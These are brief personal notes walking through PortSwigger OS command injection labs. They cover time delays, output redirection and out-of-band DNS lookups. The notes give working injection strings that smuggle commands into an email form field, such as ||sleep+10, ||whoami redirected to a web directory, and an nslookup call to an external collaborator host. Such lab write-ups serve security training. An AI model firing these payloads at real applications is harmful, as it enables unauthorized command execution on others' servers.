Portswigger Labs
Lab 1: Simple Case
Very simple. Check stock is vulnerable:
Lab 2: Time Delay via Sleep
To solve, cause a 10 second delay. There is a 'Submit feedback' function.
Test each parameter, and find that using the concat function || works with the email parameter.
`email=test@test.com||sleep+10
Lab 3: Output Redirection
Blind OS command execution, and response is not returned. To solve, execute whoami and retrieve output.
This lab gives us a writeable directory at /var/www/images. Pretty straightforward.
Abusing the email parameter again, just do ||whoami>/var/www/images/test.txt. When the home page is loaded, I saw that it uses a filename parameter:
Using this, change it to filename=test.txt to solve the lab.
Lab 4: Out of Band Interaction
This is pretty simple. One can use curl or wget to trigger a response to an external server. Since the lab requires a DNS lookup to be done, use nslookup.
email=x||nslookup+burp.URL||
Lab 5: Out of Band Exfiltration
One can use a template literal ` to solve this.
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